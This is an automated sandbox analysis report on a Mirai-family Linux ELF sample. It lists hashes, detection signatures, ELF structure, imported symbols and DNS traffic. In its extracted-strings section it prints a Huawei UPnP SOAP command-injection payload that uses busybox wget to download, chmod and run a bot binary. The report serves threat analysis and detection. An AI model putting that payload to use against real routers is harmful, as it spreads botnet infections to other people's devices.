Joe Sandbox Cloud Basic Analysis Report
Edit tour

Linux Analysis Report
cbr.arc.elf

Overview

General Information

Sample name:cbr.arc.elf
Analysis ID:1629785
MD5:cd5b40b5bada10c59de926f7e0a7afa4
SHA1:12c7c506087fb1b9880926f5d5face41469b2569
SHA256:167430ffb5a388d59cf2dcddaa471c6990f3050716df18730a6df7051e7098bb
Tags:elfuser-abuse_ch
Infos:
Errors
  • No process behavior to analyse as no analysis process or sample was found

Detection

Mirai
Score:56
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1629785
Start date and time:2025-03-05 07:44:46 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 10m 31s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:cbr.arc.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0
Cookbook Comments:
  • Analysis time extended to 480s due to sleep detection in submitted sample
  • No process behavior to analyse as no analysis process or sample was found
  • Max analysis timeout: 600s exceeded, the analysis took too long

Runtime Messages

Command:/tmp/cbr.arc.elf
PID:5514
Exit Code:255
Exit Code Info:
Killed:False
Standard Output:

Standard Error:

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
cbr.arc.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security

    Suricata Signatures

    ⊘No Suricata rule has matched

    Joe Sandbox Signatures

    • • AV Detection
    • • Networking
    • • System Summary
    • • Stealing of Sensitive Information
    • • Remote Access Functionality

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: cbr.arc.elfReversingLabs: Detection: 42%
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
    Source: cbr.arc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
    Source: cbr.arc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
    Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: ELF static info symbol of initial sample.symtab present: no
    Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0

    Stealing of Sensitive Information

    barindex
    Source: Yara matchFile source: cbr.arc.elf, type: SAMPLE

    Remote Access Functionality

    barindex
    Source: Yara matchFile source: cbr.arc.elf, type: SAMPLE

    Mitre Att&ck Matrix

    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
    Non-Application Layer Protocol    		Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
    Application Layer Protocol    		Exfiltration Over BluetoothNetwork Denial of Service

    Malware Configuration

    ⊘No configs have been found

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Number of created Files
    • Is malicious
    • Internet
    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1629785 Sample: cbr.arc.elf Startdate: 05/03/2025 Architecture: LINUX Score: 56 6 daisy.ubuntu.com 2->6 8 Multi AV Scanner detection for submitted file 2->8 10 Yara detected Mirai 2->10 signatures3

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    cbr.arc.elf42%ReversingLabsLinux.Trojan.Mirai

    Dropped Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    ⊘No Antivirus matches

    Domains and IPs

    Download Network PCAP: filtered – full

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    daisy.ubuntu.com
    		162.213.35.24
    		truefalse
      		high
      NameSourceMaliciousAntivirus DetectionReputation
      http://schemas.xmlsoap.org/soap/encoding/cbr.arc.elffalse
        		high
        http://schemas.xmlsoap.org/soap/envelope/cbr.arc.elffalse
          		high

          World Map of Contacted IPs

          ⊘No contacted IP infos

          Joe Sandbox View / Context

          IPs

          ⊘No context

          Domains

          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          daisy.ubuntu.comtftp.elfGet hashmaliciousUnknownBrowse
          • 162.213.35.24
          cbr.ppc.elfGet hashmaliciousMiraiBrowse
          • 162.213.35.24
          cbr.mpsl.elfGet hashmaliciousMiraiBrowse
          • 162.213.35.24
          mpsl.elfGet hashmaliciousMirai, MoobotBrowse
          • 162.213.35.25
          cbr.m68k.elfGet hashmaliciousMiraiBrowse
          • 162.213.35.25
          x86_64.elfGet hashmaliciousMirai, MoobotBrowse
          • 162.213.35.25
          spc.elfGet hashmaliciousMirai, MoobotBrowse
          • 162.213.35.24
          cbr.ppc.elfGet hashmaliciousMiraiBrowse
          • 162.213.35.24
          arm5.elfGet hashmaliciousMiraiBrowse
          • 162.213.35.25

          ASNs

          ⊘No context

          JA3 Fingerprints

          ⊘No context

          Dropped Files

          ⊘No context

          Created / dropped Files

          ⊘No created / dropped files found

          Static File Info

          General

          File type:ELF 32-bit LSB executable, Synopsys ARCompact ARC700 cores, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, for GNU/Linux 4.8.0, stripped
          Entropy (8bit):6.044889354328667
          TrID:
          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
          File name:cbr.arc.elf
          File size:42'616 bytes
          MD5:cd5b40b5bada10c59de926f7e0a7afa4
          SHA1:12c7c506087fb1b9880926f5d5face41469b2569
          SHA256:167430ffb5a388d59cf2dcddaa471c6990f3050716df18730a6df7051e7098bb
          SHA512:4445b946977025743af373a240c5053f9989c02501c77f12b5f59a8b579af2dacc890b56bea78d984bb137074515c220ff91c79fdbe32b817e996bd42d0a411b
          SSDEEP:768:ATwwbCV9yeN42q7kjQp1vo3/PdH++DljzgYKJm1NnwRIDoEgRaQj+X5y1TRCoSZR:+JAyqP3/PdHMTmvwb0g+X5y1TRMs+jZ
          TLSH:C5130974381DF2E9E8A82334E4472EF62A9245983DEDE6D3B0564131F9F538CAD45E0B
          File Content Preview:.ELF..............].........4...........4. ...(.........4...4...4.......................4...4...4...................................P...P........ ......,...,...,........C....... ......<...<...<.......................H...H...H... ... ...........Q.td.......

          Static ELF Info

          ELF header

          Class:ELF32
          Data:2's complement, little endian
          Version:1 (current)
          Machine:<unknown>
          Version Number:0x1
          Type:EXEC (Executable file)
          OS/ABI:UNIX - System V
          ABI Version:0
          Entry Point Address:0x10dc8
          Flags:0x403
          ELF Header Size:52
          Program Header Offset:52
          Program Header Size:32
          Number of Program Headers:8
          Section Header Offset:41696
          Section Header Size:40
          Number of Section Headers:23
          Header String Table Index:22

          Sections

          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
          NULL0x00x00x00x00x0000
          .interpPROGBITS0x101340x1340x140x00x2A001
          .note.ABI-tagNOTE0x101480x1480x200x00x2A004
          .hashHASH0x101680x1680x18c0x40x2A404
          .dynsymDYNSYM0x102f40x2f40x3c00x100x2A514
          .dynstrSTRTAB0x106b40x6b40x1a40x00x2A001
          .rela.dynRELA0x108580x8580xc0xc0x2A404
          .rela.pltRELA0x108640x8640x2940xc0x42AI4174
          .initPROGBITS0x10af80xaf80x220x00x6AX001
          .pltPROGBITS0x10b1c0xb1c0x2ac0x00x6AX004
          .textPROGBITS0x10dc80xdc80x77e40x00x6AX004
          .finiPROGBITS0x185ac0x85ac0x160x00x6AX001
          .rodataPROGBITS0x185c40x85c40x6880x00x2A004
          .eh_framePROGBITS0x18c4c0x8c4c0x40x00x2A004
          .ctorsPROGBITS0x1bf2c0x9f2c0x80x00x3WA004
          .dtorsPROGBITS0x1bf340x9f340x80x00x3WA004
          .dynamicDYNAMIC0x1bf3c0x9f3c0xc00x80x3WA504
          .got.pltPROGBITS0x1bffc0x9ffc0xe80x00x3WA004
          .dataPROGBITS0x1c0e40xa0e40xd40x00x3WA004
          .bssNOBITS0x1c1b80xa1b80x41400x00x3WA004
          .commentPROGBITS0x00xa1b80x430x10x30MS001
          .ARC.attributes<unknown>0x00xa1fb0x300x00x0001
          .shstrtabSTRTAB0x00xa22b0xb30x00x0001

          Program Segments

          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
          PHDR0x340x100340x100340x1000x1002.44650x5R E0x4
          INTERP0x1340x101340x101340x140x143.68420x4R 0x1/lib/ld-uClibc.so.0.interp
          LOAD0x00x100000x100000x8c500x8c506.53990x5R E0x2000.interp .note.ABI-tag .hash .dynsym .dynstr .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame
          LOAD0x9f2c0x1bf2c0x1bf2c0x28c0x43cc3.52610x6RW 0x2000.ctors .dtors .dynamic .got.plt .data .bss
          DYNAMIC0x9f3c0x1bf3c0x1bf3c0xc00xc02.14260x6RW 0x4.dynamic
          NOTE0x1480x101480x101480x200x201.49880x4R 0x4.note.ABI-tag
          GNU_STACK0x00x00x00x00x00.00000x6RW 0x10
          GNU_RELRO0x9f2c0x1bf2c0x1bf2c0xd40xd42.29710x4R 0x1.ctors .dtors .dynamic

          Dynamic Tags

          TypeMetaValueTag
          DT_NEEDEDsharedliblibc.so.00x1
          DT_INITvalue0x10afc0xc
          DT_FINIvalue0x185b00xd
          DT_HASHvalue0x101680x4
          DT_STRTABvalue0x106b40x5
          DT_SYMTABvalue0x102f40x6
          DT_STRSZbytes4200xa
          DT_SYMENTbytes160xb
          DT_INITvalue0x10afc0xc
          DT_FINIvalue0x185b00xd
          DT_DEBUGvalue0x00x15
          DT_PLTGOTvalue0x10b1c0x3
          DT_PLTRELSZbytes6600x2
          DT_PLTRELpltrelDT_RELA0x14
          DT_JMPRELvalue0x108640x17
          DT_RELAvalue0x108580x7
          DT_RELASZbytes120x8
          DT_RELAENTbytes120x9
          DT_NULLvalue0x00x0

          Symbols

          NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
          .dynsym0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __bss_start.dynsym0x1c1b80NOTYPE<unknown>DEFAULT19
          __ctype_b.dynsym0x1c1b84OBJECT<unknown>DEFAULT19
          __errno_location.dynsym0x10d2c0FUNC<unknown>DEFAULTSHN_UNDEF
          __uClibc_main.dynsym0x10cb40FUNC<unknown>DEFAULTSHN_UNDEF
          _edata.dynsym0x1c1b80NOTYPE<unknown>DEFAULT18
          _end.dynsym0x202f80NOTYPE<unknown>DEFAULT19
          _exit.dynsym0x10d500FUNC<unknown>DEFAULTSHN_UNDEF
          atoi.dynsym0x10d440FUNC<unknown>DEFAULTSHN_UNDEF
          calloc.dynsym0x10c000FUNC<unknown>DEFAULTSHN_UNDEF
          chdir.dynsym0x10c3c0FUNC<unknown>DEFAULTSHN_UNDEF
          clock.dynsym0x10d740FUNC<unknown>DEFAULTSHN_UNDEF
          close.dynsym0x10da40FUNC<unknown>DEFAULTSHN_UNDEF
          closedir.dynsym0x10d8c0FUNC<unknown>DEFAULTSHN_UNDEF
          connect.dynsym0x10b580FUNC<unknown>DEFAULTSHN_UNDEF
          exit.dynsym0x10d380FUNC<unknown>DEFAULTSHN_UNDEF
          fcntl.dynsym0x10d980FUNC<unknown>DEFAULTSHN_UNDEF
          fork.dynsym0x10ca80FUNC<unknown>DEFAULTSHN_UNDEF
          free.dynsym0x10db00FUNC<unknown>DEFAULTSHN_UNDEF
          getpid.dynsym0x10b7c0FUNC<unknown>DEFAULTSHN_UNDEF
          getppid.dynsym0x10ce40FUNC<unknown>DEFAULTSHN_UNDEF
          getsockname.dynsym0x10dbc0FUNC<unknown>DEFAULTSHN_UNDEF
          getsockopt.dynsym0x10d140FUNC<unknown>DEFAULTSHN_UNDEF
          htonl.dynsym0x10c780FUNC<unknown>DEFAULTSHN_UNDEF
          htons.dynsym0x10d200FUNC<unknown>DEFAULTSHN_UNDEF
          inet_addr.dynsym0x10c240FUNC<unknown>DEFAULTSHN_UNDEF
          ioctl.dynsym0x10b400FUNC<unknown>DEFAULTSHN_UNDEF
          kill.dynsym0x10c180FUNC<unknown>DEFAULTSHN_UNDEF
          malloc.dynsym0x10bac0FUNC<unknown>DEFAULTSHN_UNDEF
          memcpy.dynsym0x10b940FUNC<unknown>DEFAULTSHN_UNDEF
          memmove.dynsym0x10b640FUNC<unknown>DEFAULTSHN_UNDEF
          memset.dynsym0x10cc00FUNC<unknown>DEFAULTSHN_UNDEF
          ntohl.dynsym0x10c300FUNC<unknown>DEFAULTSHN_UNDEF
          ntohs.dynsym0x10cd80FUNC<unknown>DEFAULTSHN_UNDEF
          open.dynsym0x10d680FUNC<unknown>DEFAULTSHN_UNDEF
          opendir.dynsym0x10cfc0FUNC<unknown>DEFAULTSHN_UNDEF
          prctl.dynsym0x10b880FUNC<unknown>DEFAULTSHN_UNDEF
          puts.dynsym0x10ba00FUNC<unknown>DEFAULTSHN_UNDEF
          rand.dynsym0x10c600FUNC<unknown>DEFAULTSHN_UNDEF
          read.dynsym0x10c6c0FUNC<unknown>DEFAULTSHN_UNDEF
          readdir.dynsym0x10be80FUNC<unknown>DEFAULTSHN_UNDEF
          realloc.dynsym0x10c900FUNC<unknown>DEFAULTSHN_UNDEF
          recv.dynsym0x10b4c0FUNC<unknown>DEFAULTSHN_UNDEF
          recvfrom.dynsym0x10bc40FUNC<unknown>DEFAULTSHN_UNDEF
          select.dynsym0x10bdc0FUNC<unknown>DEFAULTSHN_UNDEF
          send.dynsym0x10bf40FUNC<unknown>DEFAULTSHN_UNDEF
          sendto.dynsym0x10c840FUNC<unknown>DEFAULTSHN_UNDEF
          setsid.dynsym0x10d800FUNC<unknown>DEFAULTSHN_UNDEF
          setsockopt.dynsym0x10c480FUNC<unknown>DEFAULTSHN_UNDEF
          sleep.dynsym0x10bb80FUNC<unknown>DEFAULTSHN_UNDEF
          socket.dynsym0x10bd00FUNC<unknown>DEFAULTSHN_UNDEF
          sprintf.dynsym0x10d080FUNC<unknown>DEFAULTSHN_UNDEF
          srand.dynsym0x10ccc0FUNC<unknown>DEFAULTSHN_UNDEF
          strcpy.dynsym0x10b340FUNC<unknown>DEFAULTSHN_UNDEF
          strlen.dynsym0x10d5c0FUNC<unknown>DEFAULTSHN_UNDEF
          strstr.dynsym0x10c540FUNC<unknown>DEFAULTSHN_UNDEF
          strtok.dynsym0x10c9c0FUNC<unknown>DEFAULTSHN_UNDEF
          time.dynsym0x10cf00FUNC<unknown>DEFAULTSHN_UNDEF
          usleep.dynsym0x10b700FUNC<unknown>DEFAULTSHN_UNDEF
          write.dynsym0x10c0c0FUNC<unknown>DEFAULTSHN_UNDEF

          Network Behavior

          Download Network PCAP: filtered – full

          TimestampSource PortDest PortSource IPDest IP
          Mar 5, 2025 07:48:33.191504002 CET5799453192.168.2.141.1.1.1
          Mar 5, 2025 07:48:33.191504955 CET5562653192.168.2.141.1.1.1
          Mar 5, 2025 07:48:33.199301958 CET53579941.1.1.1192.168.2.14
          Mar 5, 2025 07:48:33.199346066 CET53556261.1.1.1192.168.2.14

          DNS Queries

          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
          Mar 5, 2025 07:48:33.191504002 CET192.168.2.141.1.1.10x6fdaStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
          Mar 5, 2025 07:48:33.191504955 CET192.168.2.141.1.1.10xd385Standard query (0)daisy.ubuntu.com28IN (0x0001)false

          DNS Answers

          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
          Mar 5, 2025 07:48:33.199301958 CET1.1.1.1192.168.2.140x6fdaNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
          Mar 5, 2025 07:48:33.199301958 CET1.1.1.1192.168.2.140x6fdaNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

          System Behavior